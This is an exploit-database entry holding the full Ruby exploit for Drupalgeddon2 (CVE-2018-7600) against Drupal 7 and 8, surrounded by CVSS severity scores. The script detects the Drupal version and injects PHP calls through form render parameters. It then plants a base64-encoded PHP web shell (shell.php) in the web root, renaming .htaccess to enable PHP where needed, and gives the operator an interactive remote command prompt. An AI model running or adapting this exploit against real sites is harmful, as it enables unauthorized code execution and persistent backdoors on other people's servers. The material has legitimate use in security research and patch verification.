Lucene search

K
exploitpackHans Topo g0tmi1kEXPLOITPACK:9E300C1777BC1D8C514DB64FA7D000CE
HistoryApr 13, 2018 - 12:00 a.m.

Drupal 7.58 8.3.9 8.4.6 8.5.1 - Drupalgeddon2 Remote Code Execution

2018-04-1300:00:00
Hans Topo g0tmi1k
144

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

Drupal 7.58 8.3.9 8.4.6 8.5.1 - Drupalgeddon2 Remote Code Execution

#!/usr/bin/env ruby
#
# [CVE-2018-7600] Drupal <= 8.5.0 / <= 8.4.5 / <= 8.3.8 / 7.23 <= 7.57 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
#
# Authors:
# - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked
# - g0tmi1k   ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k
#


require 'base64'
require 'json'
require 'net/http'
require 'openssl'
require 'readline'
require 'highline/import'


# Settings - Try to write a PHP to the web root?
try_phpshell = true
# Settings - General/Stealth
$useragent = "drupalgeddon2"
webshell = "shell.php"
# Settings - Proxy information (nil to disable)
$proxy_addr = nil
$proxy_port = 8080


# Settings - Payload (we could just be happy without this PHP shell, by using just the OS shell - but this is 'better'!)
bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }"
bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d"


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Function http_request <url> [type] [data]
def http_request(url, type="get", payload="", cookie="")
  puts verbose("HTTP - URL : #{url}") if $verbose
  puts verbose("HTTP - Type: #{type}") if $verbose
  puts verbose("HTTP - Data: #{payload}") if not payload.empty? and $verbose

  begin
    uri = URI(url)
    request = type =~ /get/? Net::HTTP::Get.new(uri.request_uri) : Net::HTTP::Post.new(uri.request_uri)
    request.initialize_http_header({"User-Agent" => $useragent})
    request.initialize_http_header("Cookie" => cookie) if not cookie.empty?
    request.body = payload if not payload.empty?
    return $http.request(request)
  rescue SocketError
    puts error("Network connectivity issue")
  rescue Errno::ECONNREFUSED => e
    puts error("The target is down ~ #{e.message}")
    puts error("Maybe try disabling the proxy (#{$proxy_addr}:#{$proxy_port})...") if $proxy_addr
  rescue Timeout::Error => e
    puts error("The target timed out ~ #{e.message}")
  end

  # If we got here, something went wrong.
  exit
end


# Function gen_evil_url <cmd> [method] [shell] [phpfunction]
def gen_evil_url(evil, element="", shell=false, phpfunction="passthru")
  puts info("Payload: #{evil}") if not shell
  puts verbose("Element    : #{element}") if not shell and not element.empty? and $verbose
  puts verbose("PHP fn     : #{phpfunction}") if not shell and $verbose

  # Vulnerable parameters: #access_callback / #lazy_builder / #pre_render / #post_render
  # Check the version to match the payload
  if $drupalverion.start_with?("8") and element == "mail"
    # Method #1 - Drupal v8.x: mail, #post_render - HTTP 200
    url = $target + $clean_url + $form + "?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
    payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpfunction + "&mail[a][#type]=markup&mail[a][#markup]=" + evil

  elsif $drupalverion.start_with?("8") and element == "timezone"
    # Method #2 - Drupal v8.x: timezone, #lazy_builder - HTTP 500 if phpfunction=exec // HTTP 200 if phpfunction=passthru
    url = $target + $clean_url + $form + "?element_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
    payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=" + phpfunction + "&timezone[a][#lazy_builder][][]=" + evil

    #puts warning("WARNING: May benefit to use a PHP web shell") if not try_phpshell and phpfunction != "passthru"

  elsif $drupalverion.start_with?("7") and element == "name"
    # Method #3 - Drupal v7.x: name, #post_render - HTTP 200
    url = $target + "#{$clean_url}#{$form}&name[%23post_render][]=" + phpfunction + "&name[%23type]=markup&name[%23markup]=" + evil
    payload = "form_id=user_pass&_triggering_element_name=name"
  end

  # Drupal v7.x needs an extra value from a form
  if $drupalverion.start_with?("7")
    response = http_request(url, "post", payload, $session_cookie)

    form_name = "form_build_id"
    puts verbose("Form name  : #{form_name}") if $verbose

    form_value = response.body.match(/input type="hidden" name="#{form_name}" value="(.*)"/).to_s.slice(/value="(.*)"/, 1).to_s.strip
    puts warning("WARNING: Didn't detect #{form_name}") if form_value.empty?
    puts verbose("Form value : #{form_value}") if $verbose

    url = $target + "#{$clean_url}file/ajax/name/%23value/" + form_value
    payload = "#{form_name}=#{form_value}"
  end

  return url, payload
end


# Function clean_result <input>
def clean_result(input)
  #result = JSON.pretty_generate(JSON[response.body])
  #result = $drupalverion.start_with?("8")? JSON.parse(clean)[0]["data"] : clean
  clean = input.to_s.strip

  # PHP function: passthru
  # For: <payload>[{"command":"insert","method":"replaceWith","selector":null,"data":"\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
  clean.slice!(/\[{"command":".*}\]$/)

  # PHP function: exec
  # For: [{"command":"insert","method":"replaceWith","selector":null,"data":"<payload>\u003Cspan class=\u0022ajax-new-content\u0022\u003E\u003C\/span\u003E","settings":null}]
  #clean.slice!(/\[{"command":".*data":"/)
  #clean.slice!(/\\u003Cspan class=\\u0022.*}\]$/)

  # Newer PHP for an older Drupal
  # For: <b>Deprecated</b>:  assert(): Calling assert() with a string argument is deprecated in <b>/var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php</b> on line <b>151</b><br />
  #clean.slice!(/<b>.*<br \/>/)

  # Drupal v8.x Method #2 ~ timezone, #lazy_builder, passthru, HTTP 500
  # For: <b>Deprecated</b>:  assert(): Calling assert() with a string argument is deprecated in <b>/var/www/html/core/lib/Drupal/Core/Plugin/DefaultPluginManager.php</b> on line <b>151</b><br />
  clean.slice!(/The website encountered an unexpected error.*/)

  return clean
end


# Feedback when something goes right
def success(text)
  # Green
  return "\e[#{32}m[+]\e[0m #{text}"
end

# Feedback when something goes wrong
def error(text)
  # Red
  return "\e[#{31}m[-]\e[0m #{text}"
end

# Feedback when something may have issues
def warning(text)
  # Yellow
  return "\e[#{33}m[!]\e[0m #{text}"
end

# Feedback when something doing something
def action(text)
  # Blue
  return "\e[#{34}m[*]\e[0m #{text}"
end

# Feedback with helpful information
def info(text)
  # Light blue
  return "\e[#{94}m[i]\e[0m #{text}"
end

# Feedback for the overkill
def verbose(text)
  # Dark grey
  return "\e[#{90}m[v]\e[0m #{text}"
end


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

def init_authentication()
  $uname = ask('Enter your username:  ') { |q| q.echo = false }
  $passwd = ask('Enter your password:  ') { |q| q.echo = false }
  $uname_field = ask('Enter the name of the username form field:  ') { |q| q.echo = true }
  $passwd_field = ask('Enter the name of the password form field:  ') { |q| q.echo = true }
  $login_path = ask('Enter your login path (e.g., user/login):  ') { |q| q.echo = true }
  $creds_suffix = ask('Enter the suffix eventually required after the credentials in the login HTTP POST request (e.g., &form_id=...):  ') { |q| q.echo = true }
end

def is_arg(args, param)
  args.each do |arg|
    if arg == param
      return true
    end
  end
  return false
end


# Quick how to use
def usage()
  puts 'Usage: ruby drupalggedon2.rb <target> [--authentication] [--verbose]'
  puts 'Example for target that does not require authentication:'
  puts '       ruby drupalgeddon2.rb https://example.com'
  puts 'Example for target that does require authentication:'
  puts '       ruby drupalgeddon2.rb https://example.com --authentication'
end


# Read in values
if ARGV.empty?
  usage()
  exit
end

$target = ARGV[0]
init_authentication() if is_arg(ARGV, '--authentication')
$verbose = is_arg(ARGV, '--verbose')


# Check input for protocol
$target = "http://#{$target}" if not $target.start_with?("http")
# Check input for the end
$target += "/" if not $target.end_with?("/")


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Banner
puts action("--==[::#Drupalggedon2::]==--")
puts "-"*80
puts info("Target : #{$target}")
puts info("Proxy  : #{$proxy_addr}:#{$proxy_port}") if $proxy_addr
puts info("Write? : Skipping writing PHP web shell") if not try_phpshell
puts "-"*80


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Setup connection
uri = URI($target)
$http = Net::HTTP.new(uri.host, uri.port, $proxy_addr, $proxy_port)

# Use SSL/TLS if needed
if uri.scheme == "https"
  $http.use_ssl = true
  $http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end

$session_cookie = ''
# If authentication required then login and get session cookie
if $uname
  $payload = $uname_field + '=' + $uname + '&' + $passwd_field + '=' + $passwd + $creds_suffix
  response = http_request($target + $login_path, 'post', $payload, $session_cookie)
  if (response.code == '200' or response.code == '303') and not response.body.empty? and response['set-cookie']
    $session_cookie = response['set-cookie'].split('; ')[0]
    puts success("Logged in - Session Cookie : #{$session_cookie}")
  end

end

# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Try and get version
$drupalverion = ""

# Possible URLs
url = [
  # --- changelog ---
  # Drupal v6.x / v7.x [200]
  $target + "CHANGELOG.txt",
  # Drupal v8.x [200]
  $target + "core/CHANGELOG.txt",

  # --- bootstrap ---
  # Drupal v7.x / v6.x [403]
  $target + "includes/bootstrap.inc",
  # Drupal v8.x [403]
  $target + "core/includes/bootstrap.inc",

  # --- database ---
  # Drupal v7.x / v6.x  [403]
  $target + "includes/database.inc",
  # Drupal v7.x [403]
  #$target + "includes/database/database.inc",
  # Drupal v8.x [403]
  #$target + "core/includes/database.inc",

  # --- landing page ---
  # Drupal v8.x / v7.x [200]
  $target,
]

# Check all
url.each do|uri|
  # Check response
  response = http_request(uri, 'get', '', $session_cookie)

  # Check header
  if response['X-Generator'] and $drupalverion.empty?
    header = response['X-Generator'].slice(/Drupal (.*) \(https:\/\/www.drupal.org\)/, 1).to_s.strip

    if not header.empty?
      $drupalverion = "#{header}.x" if $drupalverion.empty?
      puts success("Header : v#{header} [X-Generator]")
      puts verbose("X-Generator: #{response['X-Generator']}") if $verbose
    end
  end

  # Check request response, valid
  if response.code == "200"
    tmp = $verbose ?  "    [HTTP Size: #{response.size}]"  : ""
    puts success("Found  : #{uri}    (HTTP Response: #{response.code})#{tmp}")

    # Check to see if it says: The requested URL "http://<URL>" was not found on this server.
    puts warning("WARNING: Could be a false-positive [1-1], as the file could be reported to be missing") if response.body.downcase.include? "was not found on this server"

    # Check to see if it says: <h1 class="js-quickedit-page-title title page-title">Page not found</h1> <div class="content">The requested page could not be found.</div>
    puts warning("WARNING: Could be a false-positive [1-2], as the file could be reported to be missing") if response.body.downcase.include? "the requested page could not be found"

    # Only works for CHANGELOG.txt
    if uri.match(/CHANGELOG.txt/)
      # Check if valid. Source ~ https://api.drupal.org/api/drupal/core%21CHANGELOG.txt/8.5.x // https://api.drupal.org/api/drupal/CHANGELOG.txt/7.x
      puts warning("WARNING: Unable to detect keyword 'drupal.org'") if not response.body.downcase.include? "drupal.org"

      # Patched already? (For Drupal v8.4.x / v7.x)
      puts warning("WARNING: Might be patched! Found SA-CORE-2018-002: #{url}") if response.body.include? "SA-CORE-2018-002"

      # Try and get version from the file contents (For Drupal v8.4.x / v7.x)
      $drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip

      # Blank if not valid
      $drupalverion = "" if not $drupalverion[-1] =~ /\d/
    end

    # Check meta tag
    if not response.body.empty?
      # For Drupal v8.x / v7.x
      meta = response.body.match(/<meta name="Generator" content="Drupal (.*) /)
      metatag = meta.to_s.slice(/meta name="Generator" content="Drupal (.*) \(http/, 1).to_s.strip

      if not metatag.empty?
        $drupalverion = "#{metatag}.x" if $drupalverion.empty?
        puts success("Metatag: v#{$drupalverion} [Generator]")
        puts verbose(meta.to_s) if $verbose
      end
    end

    # Done! ...if a full known version, else keep going... may get lucky later!
    break if not $drupalverion.end_with?("x") and not $drupalverion.empty?
  end

  # Check request response, not allowed
  if response.code == "403" and $drupalverion.empty?
    tmp = $verbose ?  "    [HTTP Size: #{response.size}]"  : ""
    puts success("Found  : #{uri}    (HTTP Response: #{response.code})#{tmp}")

    if $drupalverion.empty?
      # Try and get version from the URL (For Drupal v.7.x/v6.x)
      $drupalverion = uri.match(/includes\/database.inc/)? "7.x/6.x" : "" if $drupalverion.empty?
      # Try and get version from the URL (For Drupal v8.x)
      $drupalverion = uri.match(/core/)? "8.x" : "" if $drupalverion.empty?

      # If we got something, show it!
      puts success("URL    : v#{$drupalverion}?") if not $drupalverion.empty?
    end

  else
    tmp = $verbose ?  "    [HTTP Size: #{response.size}]"  : ""
    puts warning("MISSING: #{uri}    (HTTP Response: #{response.code})#{tmp}")
  end
end


# Feedback
if not $drupalverion.empty?
  status = $drupalverion.end_with?("x")? "?" : "!"
  puts success("Drupal#{status}: v#{$drupalverion}")
else
  puts error("Didn't detect Drupal version")
  exit
end

if not $drupalverion.start_with?("8") and not $drupalverion.start_with?("7")
  puts error("Unsupported Drupal version (#{$drupalverion})")
  exit
end
puts "-"*80




# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -



# The attack vector to use
$form = $drupalverion.start_with?("8")? "user/register" : "user/password"

# Make a request, check for form
url = "#{$target}?q=#{$form}"
puts action("Testing: Form   (#{$form})")
response = http_request(url, 'get', '', $session_cookie)
if response.code == "200" and not response.body.empty?
  puts success("Result : Form valid")
elsif response['location']
  puts error("Target is NOT exploitable [5] (HTTP Response: #{response.code})...   Could try following the redirect: #{response['location']}")
  exit
elsif response.code == "404"
  puts error("Target is NOT exploitable [4] (HTTP Response: #{response.code})...   Form disabled?")
  exit
elsif response.code == "403"
  puts error("Target is NOT exploitable [3] (HTTP Response: #{response.code})...   Form blocked?")
  exit
elsif response.body.empty?
  puts error("Target is NOT exploitable [2] (HTTP Response: #{response.code})...   Got an empty response")
  exit
else
  puts warning("WARNING: Target may NOT exploitable [1] (HTTP Response: #{response.code})")
end


puts "- "*40


# Make a request, check for clean URLs status ~ Enabled: /user/register   Disabled: /?q=user/register
# Drupal v7.x needs it anyway
$clean_url = $drupalverion.start_with?("8")? "" : "?q="
url = "#{$target}#{$form}"

puts action("Testing: Clean URLs")
response = http_request(url, 'get', '', $session_cookie)
if response.code == "200" and not response.body.empty?
  puts success("Result : Clean URLs enabled")
else
  $clean_url = "?q="
  puts warning("Result : Clean URLs disabled (HTTP Response: #{response.code})")
  puts verbose("response.body: #{response.body}") if $verbose

  # Drupal v8.x needs it to be enabled
  if $drupalverion.start_with?("8")
    puts error("Sorry dave... Required for Drupal v8.x... So... NOPE NOPE NOPE")
    exit
  elsif $drupalverion.start_with?("7")
    puts info("Isn't an issue for Drupal v7.x")
  end
end
puts "-"*80


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Values in gen_evil_url for Drupal v8.x
elementsv8 = [
  "mail",
  "timezone",
]
# Values in gen_evil_url for Drupal v7.x
elementsv7 = [
  "name",
]

elements = $drupalverion.start_with?("8") ? elementsv8 : elementsv7

elements.each do|e|
  $element = e

  # Make a request, testing code execution
  puts action("Testing: Code Execution   (Method: #{$element})")

  # Generate a random string to see if we can echo it
  random = (0...8).map { (65 + rand(26)).chr }.join
  url, payload = gen_evil_url("echo #{random}", e)

  response = http_request(url, "post", payload, $session_cookie)
  if (response.code == "200" or response.code == "500") and not response.body.empty?
    result = clean_result(response.body)
    if not result.empty?
      puts success("Result : #{result}")

      if response.body.match(/#{random}/)
        puts success("Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!")
        break

      else
        puts warning("WARNING: Target MIGHT be exploitable [4]...   Detected output, but didn't MATCH expected result")
      end

    else
      puts warning("WARNING: Target MIGHT be exploitable [3] (HTTP Response: #{response.code})...   Didn't detect any INJECTED output (disabled PHP function?)")
    end

    puts warning("WARNING: Target MIGHT be exploitable [5]...   Blind attack?") if response.code == "500"

    puts verbose("response.body: #{response.body}") if $verbose
    puts verbose("clean_result: #{result}") if not result.empty? and $verbose

  elsif response.body.empty?
    puts error("Target is NOT exploitable [2] (HTTP Response: #{response.code})...   Got an empty response")
    exit

  else
    puts error("Target is NOT exploitable [1] (HTTP Response: #{response.code})")
    puts verbose("response.body: #{response.body}") if $verbose
    exit
  end

  puts "- "*40 if e != elements.last
end

puts "-"*80


# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


# Location of web shell & used to signal if using PHP shell
webshellpath = ""
prompt = "drupalgeddon2"

# Possibles paths to try
paths = [
  # Web root
  "",
  # Required for setup
  "sites/default/",
  "sites/default/files/",
  # They did something "wrong", chmod -R 0777 .
  #"core/",
]
# Check all (if doing web shell)
paths.each do|path|
  # Check to see if there is already a file there
  puts action("Testing: Existing file   (#{$target}#{path}#{webshell})")

  response = http_request("#{$target}#{path}#{webshell}", 'get', '', $session_cookie)
  if response.code == "200"
    puts warning("Response: HTTP #{response.code} // Size: #{response.size}.   ***Something could already be there?***")
  else
    puts info("Response: HTTP #{response.code} // Size: #{response.size}")
  end

  puts "- "*40


  # - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -


  folder = path.empty? ? "./" : path
  puts action("Testing: Writing To Web Root   (#{folder})")

  # Merge locations
  webshellpath = "#{path}#{webshell}"

  # Final command to execute
  cmd = "#{bashcmd} | tee #{webshellpath}"

  # By default, Drupal v7.x disables the PHP engine using: ./sites/default/files/.htaccess
  # ...however, Drupal v8.x disables the PHP engine using: ./.htaccess
  if path == "sites/default/files/"
    puts action("Moving : ./sites/default/files/.htaccess")
    cmd = "mv -f #{path}.htaccess #{path}.htaccess-bak; #{cmd}"
  end

  # Generate evil URLs
  url, payload = gen_evil_url(cmd, $element)
  # Make the request
  response = http_request(url, "post", payload, $session_cookie)
  # Check result
  if response.code == "200" and not response.body.empty?
    # Feedback
    result = clean_result(response.body)
    puts success("Result : #{result}") if not result.empty?

    # Test to see if backdoor is there (if we managed to write it)
    response = http_request("#{$target}#{webshellpath}", "post", "c=hostname", $session_cookie)
    if response.code == "200" and not response.body.empty?
      puts success("Very Good News Everyone! Wrote to the web root! Waayheeeey!!!")
      break

    elsif response.code == "404"
      puts warning("Target is NOT exploitable [2-4] (HTTP Response: #{response.code})...   Might not have write access?")

    elsif response.code == "403"
      puts warning("Target is NOT exploitable [2-3] (HTTP Response: #{response.code})...   May not be able to execute PHP from here?")

    elsif response.body.empty?
      puts warning("Target is NOT exploitable [2-2] (HTTP Response: #{response.code})...   Got an empty response back")

    else
      puts warning("Target is NOT exploitable [2-1] (HTTP Response: #{response.code})")
      puts verbose("response.body: #{response.body}") if $verbose
    end

  elsif response.code == "500" and not response.body.empty?
    puts warning("Target MAY of been exploited... Bit of blind leading the blind")
    break

  elsif response.code == "404"
    puts warning("Target is NOT exploitable [1-4] (HTTP Response: #{response.code})...   Might not have write access?")

  elsif response.code == "403"
    puts warning("Target is NOT exploitable [1-3] (HTTP Response: #{response.code})...   May not be able to execute PHP from here?")

  elsif response.body.empty?
    puts warning("Target is NOT exploitable [1-2] (HTTP Response: #{response.code}))...   Got an empty response back")

  else
    puts warning("Target is NOT exploitable [1-1] (HTTP Response: #{response.code})")
    puts verbose("response.body: #{response.body}") if $verbose
  end

  webshellpath = ""

  puts "- "*40 if path != paths.last
end if try_phpshell

# If a web path was set, we exploited using PHP!
if not webshellpath.empty?
  # Get hostname for the prompt
  prompt = response.body.to_s.strip if response.code == "200" and not response.body.empty?

  puts "-"*80
  puts info("Fake PHP shell:   curl '#{$target}#{webshellpath}' -d 'c=hostname'")
# Should we be trying to call commands via PHP?
elsif try_phpshell
  puts warning("FAILED : Couldn't find a writeable web path")
  puts "-"*80
  puts action("Dropping back to direct OS commands")
end


# Stop any CTRL + C action ;)
trap("INT", "SIG_IGN")


# Forever loop
loop do
  # Default value
  result = "~ERROR~"

  # Get input
  command = Readline.readline("#{prompt}>> ", true).to_s

  # Check input
  puts warning("WARNING: Detected an known bad character (>)") if command =~ />/

  # Exit
  break if command == "exit"

  # Blank link?
  next if command.empty?

  # If PHP web shell
  if not webshellpath.empty?
    # Send request
    result = http_request("#{$target}#{webshellpath}", "post", "c=#{command}", $session_cookie).body
  # Direct OS commands
  else
    url, payload = gen_evil_url(command, $element, true)
    response = http_request(url, "post", payload, $session_cookie)

    # Check result
    if not response.body.empty?
      result = clean_result(response.body)
    end
  end

  # Feedback
  puts result
end

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P